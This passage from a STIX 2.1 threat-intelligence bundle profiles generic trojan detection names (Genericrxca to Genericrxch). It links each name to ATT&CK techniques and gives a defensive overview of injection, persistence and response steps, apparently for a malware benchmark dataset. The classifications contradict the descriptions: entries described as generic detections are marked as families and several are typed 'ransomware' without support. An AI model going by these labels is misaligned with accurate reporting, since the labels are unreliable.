      "id": "relationship--6c813665-a0df-5712-82f0-7263c369c7f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c00b4d83-92cb-5a69-b621-991ee6dc5779",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbz exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6e21903-b27d-52a6-910e-6ce38e19fdc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c00b4d83-92cb-5a69-b621-991ee6dc5779",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbz exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--29fba221-b3a9-5e7f-bb0a-c86a5e8b797f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c00b4d83-92cb-5a69-b621-991ee6dc5779",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbz exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa075df3-9f0b-51b9-ab21-82b45d3be164",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c00b4d83-92cb-5a69-b621-991ee6dc5779",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbz exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1560a2d0-7c09-5e4b-880c-2182a3ee3773",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxca",
      "description": "Trojan:Win32/Genericrxca is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxca</b><br>To an end-user, a Genericrxca infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxca is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxca is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxca frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxca reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxca",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxca"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--feb5f18f-3ee0-5558-8fc7-911217a3bbfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1560a2d0-7c09-5e4b-880c-2182a3ee3773",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxca exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adf3563c-769c-5045-a72f-0e2f0c60e889",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1560a2d0-7c09-5e4b-880c-2182a3ee3773",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxca exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--04a2cb7c-2af7-5a2e-85dd-4f4bee283c53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1560a2d0-7c09-5e4b-880c-2182a3ee3773",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxca exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--333f76a2-ce12-500e-98ec-bcca54b66467",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1560a2d0-7c09-5e4b-880c-2182a3ee3773",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxca exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eae6efb9-a216-5780-9553-4f77198956c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1560a2d0-7c09-5e4b-880c-2182a3ee3773",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxca exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10f1e55b-36d3-572e-aa77-8f8218510d86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcd",
      "description": "<h3>Executive Summary</h3>\nGenericRXCD is a broad, heuristic detection name used by antivirus engines to identify a file exhibiting suspicious, Trojan-like behaviors, even if it does not match a known, specific malware family signature. The \"Generic\" classification means the security software has flagged the executable based on anomalous actions, such as attempting to inject code into other processes, unexpected registry modifications, or suspicious outbound network activity.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nBecause this is a generic detection, the infection vector can vary wildly. It could be an obfuscated attachment in a spear-phishing email, a payload dropped by an exploit kit, or a zero-day threat that has not yet been formally analyzed and named by security researchers.\n\nFiles flagged as GenericRXCD typically exhibit red-flag behaviors indicative of a Trojan:\n<ul>\n<li><strong>Code Injection/Hollowing:</strong> The executable may attempt to unpack itself in memory and inject malicious code into legitimate Windows processes (like `explorer.exe` or `svchost.exe`) to hide its execution from task managers.</li>\n<li><strong>Unauthorized C2 Communications:</strong> The file may attempt to establish outbound TCP/UDP connections to unknown, newly registered, or low-reputation IP addresses, indicative of Command and Control (C2) beaconing.</li>\n<li><strong>Security Software Evasion:</strong> The executable may actively attempt to query the system for the presence of specific antivirus or EDR solutions, or attempt to disable Windows Defender before executing its primary payload.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA generic Trojan detection must be treated with high severity. Because the exact nature of the payload is unknown, it could range from a relatively benign adware dropper to the initial stage of a catastrophic enterprise ransomware deployment.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Quarantine and Triage:</strong> Ensure the EDR solution has successfully quarantined the file and killed any associated running processes. Do not \"allow\" the file to run if prompted.</li>\n<li><strong>Dynamic Sandboxing:</strong> Security analysts should extract the quarantined file and execute it in a secure, isolated malware sandbox (e.g., Cuckoo) to observe its exact behavioral telemetry and determine if it drops secondary payloads.</li>\n<li><strong>Threat Hunting:</strong> Utilize the Indicators of Compromise (IOCs) generated by the sandbox (e.g., C2 IP addresses, dropped file hashes) to sweep the rest of the corporate network to ensure no other machines have been compromised by this unknown threat.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic",
        "Malware.Heuristic.Gen",
        "Win32/Trojan.GenericRXCD"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcd"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--930a76ca-056c-5008-86ef-08ea4ee654d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10f1e55b-36d3-572e-aa77-8f8218510d86",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcd exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--740baf35-1caf-51d0-b60b-ea186d9c9791",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10f1e55b-36d3-572e-aa77-8f8218510d86",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcd exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f7cb857-b9bb-59a0-aae3-8509f854f6c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10f1e55b-36d3-572e-aa77-8f8218510d86",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcd exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--83a10739-2319-59ce-adee-e594abddf0bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxce",
      "description": "Trojan:Win32/Genericrxce is not a specific malware family, but rather a **Generic Heuristic Detection** (short for 'Trojan Generic'). It indicates that an antivirus engine (often Microsoft Defender) has identified an executable file that exhibits behaviors, code structures, or API call sequences that strongly correlate with malicious trojan activity, even though no exact signature exists for the file in the AV database.<br><br><b>Understanding Generic Trojan Detections</b><br>To an end-user, a Genericrxce alert appears as a standard virus warning. For a security analyst, a generic detection is a crucial early warning sign. It often indicates an encounter with a newly compiled (zero-day) threat, a heavily packed variant of known malware that has bypassed static signatures, or a custom-built tool used by an Advanced Persistent Threat (APT) group.<br><br><b>Execution and Suspicious Mechanics</b><br>Because 'Genericrxce' is a generic label, the specific mechanics vary wildly. The detection is usually triggered by dynamic analysis (in a micro-sandbox) or behavioral monitoring. The file may have attempted to silently drop an executable into the `System32` directory (`T1036`), tried to inject code into a running system process (`T1055`), modified critical registry keys to establish persistence (`T1547.001`), or initiated outbound network connections to suspicious IP addresses immediately upon execution (`T1071.001`). The AV engine observes these 'trojan-like' actions and blocks the process heuristically.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the true nature of the blocked payload. Host-based IoCs consist of the quarantined file itself and the specific EDR telemetry detailing exactly which API calls or file system modifications triggered the heuristic engine. Network IoCs are critical for determining the malware's intent; analysts must review proxy logs for any outbound connections attempted by the process just before it was terminated. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxce",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxce"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26c2161f-9f40-593d-9538-16d854d0aa0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83a10739-2319-59ce-adee-e594abddf0bd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxce exhibits technique T1055 (Process Injection (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4116e276-79e2-53b4-ac8d-86b262ace51f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83a10739-2319-59ce-adee-e594abddf0bd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxce exhibits technique T1027 (Obfuscated Files or Information (Common trigger for heuristic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d01e124e-44c3-5c3e-b9c1-e893e93b8906",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83a10739-2319-59ce-adee-e594abddf0bd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxce exhibits technique T1547.001 (Boot or Logon Autostart Execution (Suspicious registry changes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6b6c92ad-6b14-5dc5-a124-f313645a8f08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcf",
      "description": "<h3>Executive Summary</h3>\nGenericRXCF is a heuristic detection signature utilized by enterprise antivirus and EDR (Endpoint Detection and Response) engines to identify files exhibiting behaviors strongly correlated with malicious Trojans, backdoors, or obfuscated droppers. The \"RXCF\" designation often points to specific code packing techniques, anomalous Windows API calls, or memory injection patterns detected during execution, though it does not map to a single, named malware family. It is frequently associated with the initial compromise stage, where an executable attempts to establish a foothold and download a secondary payload.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as GenericRXCF are typically encountered via drive-by downloads from compromised websites, as malicious attachments in generic spam campaigns, or hidden within \"cracked\" software installers.\n\nUpon execution, these files generally exhibit suspicious, evasive behavior:\n<ul>\n<li><strong>Deobfuscation and Process Injection:</strong> The executable often attempts to unpack its true malicious code directly into the memory space of a legitimate Windows process (like `svchost.exe` or `explorer.exe`) to evade file-based antivirus scanning.</li>\n<li><strong>Unauthorized Network Connections:</strong> The malware will attempt to establish outbound connections to unknown IP addresses, likely attempting to contact a Command and Control (C2) server to receive instructions or download a secondary payload (such as ransomware or an info-stealer).</li>\n<li><strong>Persistence Mechanisms:</strong> To ensure it survives a system reboot, the malware will likely modify the Windows Registry, often adding entries to the `Run` keys or creating malicious Scheduled Tasks.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA GenericRXCF detection must be treated as a serious indicator of compromise. Because it is a generic, behavioral detection, the specific intent of the malware (espionage, extortion, botnet recruitment) is unknown until further forensic analysis is performed. It represents an active attempt to establish a persistent, unauthorized foothold on the endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Endpoint Isolation and Triage:</strong> Isolate the endpoint from the corporate network immediately to prevent any potential lateral movement or the successful download of a secondary payload.</li>\n<li><strong>Behavioral Analysis (EDR):</strong> Utilize EDR telemetry to trace the execution path of the flagged file. Identify any child processes it spawned, network connections it attempted, or registry keys it modified.</li>\n<li><strong>Anti-Malware Remediation:</strong> Run a comprehensive, deep system scan using an updated enterprise AV solution to quarantine the original file and remove any persistence mechanisms it managed to establish.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.GenericRXCF",
        "Malware.Generic.RXCF",
        "Suspicious.Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcf"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aac8bd82-dc24-5914-8327-d77883082ef0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b6c92ad-6b14-5dc5-a124-f313645a8f08",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcf exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae00e85b-3ee3-5ff2-a5fd-ac378a86f634",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b6c92ad-6b14-5dc5-a124-f313645a8f08",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcf exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f82e7efa-316d-59de-a34a-a2cde7c4a731",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6b6c92ad-6b14-5dc5-a124-f313645a8f08",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fe4fc148-6f76-5ad2-95e7-a14505052166",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxcg",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxcg\" (often displayed as Generic.RX.Trojan or Generic.RX.Suspicious) is a heuristic detection name utilized by various antivirus engines. It flags files that exhibit highly suspicious, potentially destructive runtime behaviors characteristic of Trojans, Backdoors, or Loaders. The \"rx\" denotes a detection based on advanced heuristics or sandboxed behavioral analysis rather than a specific static signature.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as Genericrxcg are typically distributed via malicious email attachments (spear-phishing), dropped by exploit kits on compromised websites, or delivered as secondary payloads by initial access brokers.\n\nUpon execution, this class of malware prioritizes establishing a foothold and evading detection:\n<ul>\n<li><strong>Process Injection and Hollowing:</strong> The malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Unauthorized Persistence:</strong> It attempts to ensure survival across reboots by modifying critical Windows Registry hives (e.g., `Run`, `RunOnce`, `Winlogon`) or creating hidden Scheduled Tasks.</li>\n<li><strong>C2 Communication:</strong> The malware will attempt to establish an outbound connection to an unknown IP address or domain (Command and Control) to receive further instructions or download additional payloads (acting as a loader).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Genericrxcg detection in a critical system directory is a severe indicator of compromise (IoC). It strongly suggests that a potentially advanced threat has bypassed initial static defenses and is attempting to execute malicious code on the endpoint. Immediate investigation is required to determine the true nature of the payload.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against these polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on the malicious behavior flagged by the heuristic engine.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the potential for sophisticated evasion techniques and secondary payload delivery, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.RX",
        "Suspicious.Generic",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxcg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxcg"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0d70a15-1e22-5f0a-9d9a-905f3fcc2ef5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe4fc148-6f76-5ad2-95e7-a14505052166",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcg exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0250be99-808c-59dc-be26-970818931f76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe4fc148-6f76-5ad2-95e7-a14505052166",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcg exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c8faf80-91dd-5f08-a01c-29e956f048f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe4fc148-6f76-5ad2-95e7-a14505052166",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcg exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec7c8cd5-d54c-5224-bee1-3654f0babc7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe4fc148-6f76-5ad2-95e7-a14505052166",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxcg exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5779963c-4f68-5c71-8d93-3bea21e74e7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxch",
      "description": "<h3>Executive Summary</h3>\n\"GenericRxch\" (often displayed as Generic.Rxch or Trojan.GenericRxch) is a broad, machine-generated heuristic detection signature utilized by advanced antivirus engines. It does not identify a specific, named malware family. Instead, it acts as a critical \"catch-all\" classification indicating that a file exhibits highly suspicious behavioral characteristics or code structures that strongly correlate with known Trojans, downloaders, or obfuscated malware.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nA GenericRxch alert fires when an unknown file triggers a combination of behavioral rules during dynamic analysis (sandboxing) or heuristic static scanning. Common triggers include:\n<ul>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed, encrypted, or obfuscated, indicating a deliberate attempt to hide its true payload from static analysis and reverse engineering.</li>\n<li><strong>Suspicious API Calls:</strong> The program attempts to execute sequences of Windows APIs commonly used by malware, such as attempting process injection (e.g., `VirtualAllocEx`, `WriteProcessMemory`), modifying critical registry keys for persistence, or attempting to silently download secondary executable files from untrusted IPs.</li>\n<li><strong>Evasion Tactics:</strong> The binary contains anti-debugging or anti-VM (Virtual Machine) instructions, attempting to determine if it is being analyzed by security researchers before executing its primary payload.</li>\n</ul>\n\n<h3>Threat Impact and Response</h3>\nWhile a generic detection lacks the precise context of a known family, a GenericRxch alert is a severe security event. It frequently indicates the presence of a zero-day threat, a newly compiled variant of a known trojan, or a highly evasive initial access dropper.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Treat the alert as a verified infection. Isolate the endpoint from the corporate network immediately to prevent potential data exfiltration or the download of secondary payloads (like ransomware).</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated, advanced malware sandbox (e.g., Cuckoo, Any.Run) to monitor its full execution lifecycle, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n<li><strong>Hash Enrichment Lookups:</strong> Query the full file hash against threat intelligence platforms (like VirusTotal) to see if other security vendors have identified the specific malware family.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.GenericRxch",
        "Heur:Trojan.Win32.Generic",
        "Suspicious.Rxch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a0722cc-61f0-5293-ab68-c639fe04a3f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5779963c-4f68-5c71-8d93-3bea21e74e7a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxch exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--149a8fd1-fa24-5d75-86ec-58a2b012c3e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5779963c-4f68-5c71-8d93-3bea21e74e7a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxch exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54cce55e-9524-5cd6-a73c-d4b818145e04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5779963c-4f68-5c71-8d93-3bea21e74e7a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxch exhibits technique T1055 (Process Injection)."
    },
    {
